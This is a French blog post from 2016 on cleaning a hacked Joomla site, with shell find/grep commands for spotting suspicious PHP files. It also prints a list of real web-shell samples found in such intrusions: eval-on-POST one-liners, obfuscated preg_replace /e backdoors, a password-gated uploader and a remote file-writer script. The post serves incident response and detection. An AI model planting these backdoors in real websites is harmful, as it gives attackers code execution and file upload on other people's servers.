Nettoyer les fichiers de Joomla après une intrusion

Publié le 20 janvier 2016 | Classé dans : Réparation, Intervention difficile Mots clés : Joomla!, intrusion, fichier, sécurité | Aucun commentaire

00. Avant toute chose, rester calme. Sachant que le temps que l'intrusion soit portée à notre connaissance il peut s'être écoulé... un certain temps... et que l'intervention nécessitera au moins trois temps. Un : mettre le site hors ligne. Un et demi : remettre une sauvegarde intacte en ligne, si impossible, Deux : recherche et analyse. Trois : nettoyage. Voir Quatre : correctif de la faille qui a permis l'intrusion, sinon, à quoi bon ?

Contexte :

01. Se retrousser les manches et, à l'aide de quelques commandes shell, rechercher des fichiers soit plus récents que la dernière modification du CMS, soit avec des tailles faibles, et quoi qu'il en soit qui contiennent des souches de code reconnus malveillants (voir exemples apès les commandes) :

$ cd .../zonedetest.xyz/www/htdocs

$ find . -type f -name .htaccess | xargs ls -al

$ find . -type f -mtime -5 -print

$ find -type f -newermt "15 Jan 2016" ! -newermt "22 Jan 2016" -ls

$ find . -type f -name "*.php" -size -400c -print | xargs ls -al

$ find . -type f -name "*.php" | xargs grep -i base64_decode

$ find . -type f -name "*.php" | xargs grep -i eval

$ find . -type f -name "*.php" | xargs grep -li base64_decode | xargs grep -i eval

$ find . -type f -name "*.php" | xargs grep biaisie6i4i

$ find . -type f -name "*.php" | xargs grep -i "POST\[\|REQUEST\[\|GET\["

02. Exemples de souches reconnues malveillantes :

$qV="stop_";$s20=strtoupper($qV[4].$qV[3]...

<?php eval($_POST[1]);?>

<?php eval($_POST[ctt]);?>

$qu = $avj("i", "", "ibiaisie6i4i_dieicoide");

<?php @preg_replace('/(.*)/e', @$_POST['lmtwzztpmh'], '');

eval(gzinflate(base64_decode("FZy3sqMKFkX/ZaL3igDvaiI8Q...

<?php  preg_replace("/laterain/e", "ev"."al('".$_REQUEST['yt']."')", "laterain testin9"); ?>

<?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?>

<?php if($_GET['test']){echo 'success';}else{($www= $_POST['ngpuw']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}

<?php if (md5($_POST["password"]) == "2fd3142ab2b7f4542017d7cceb7e9398") { preg_replace("\043\056\052\043\145", "\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050'" . $_POST["code"] . "'\051\051\073", ""); } ?>

<?php if(md5($_GET["ms-load"])=="4339e6c4b77a73d62e5bc695a24125e3"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data"  method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
$tend
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfilen";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}

<?php
//header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);

if($password==""||$filename==""||$body=="")
{
    echo 'parameters error!';
    return;
}

if($password!=$config_password)
{
    echo 'password error!';
    return;
}

$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;

if($folderpath!="")
{
  if($folderpath=="root")
  {
    $newPath=$rootPath.'/'.$filename;
  }
  else
  {
    createFolder($rootPath.'/'.$folderpath);
    $newPath=$rootPath.'/'.$folderpath.'/'.$filename;
  }
}
else
{
  $newPath=$filename;
}


$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
{
    echo "publish success & uploaded";
}

function createFolder($path)
{
    if (!file_exists($path))
    {
        createFolder(dirname($path));
        mkdir($path, 0777);
    }
}
?>

04. Au final :

  • Ces quelques commandes shell sont loin d'être suffisantes pour garantir que toute trace soit éradiquée...
  • De plus, seuls les fichiers ont été scannés. Il conviendrait de vérrifier le contenu de la base de données aussi...
  • Si la quantité de contenu du site le permet, autant réinstaller un CMS à neuf et y copier/coller le contenu, oui copier coller à la souris, pas avec un dump de la base ni avec des copies de fichiers...et ça marche, comme ça peut

Écrire un commentaire

Quelle est la dernière lettre du mot dzljk ?

Fil RSS des commentaires de cet article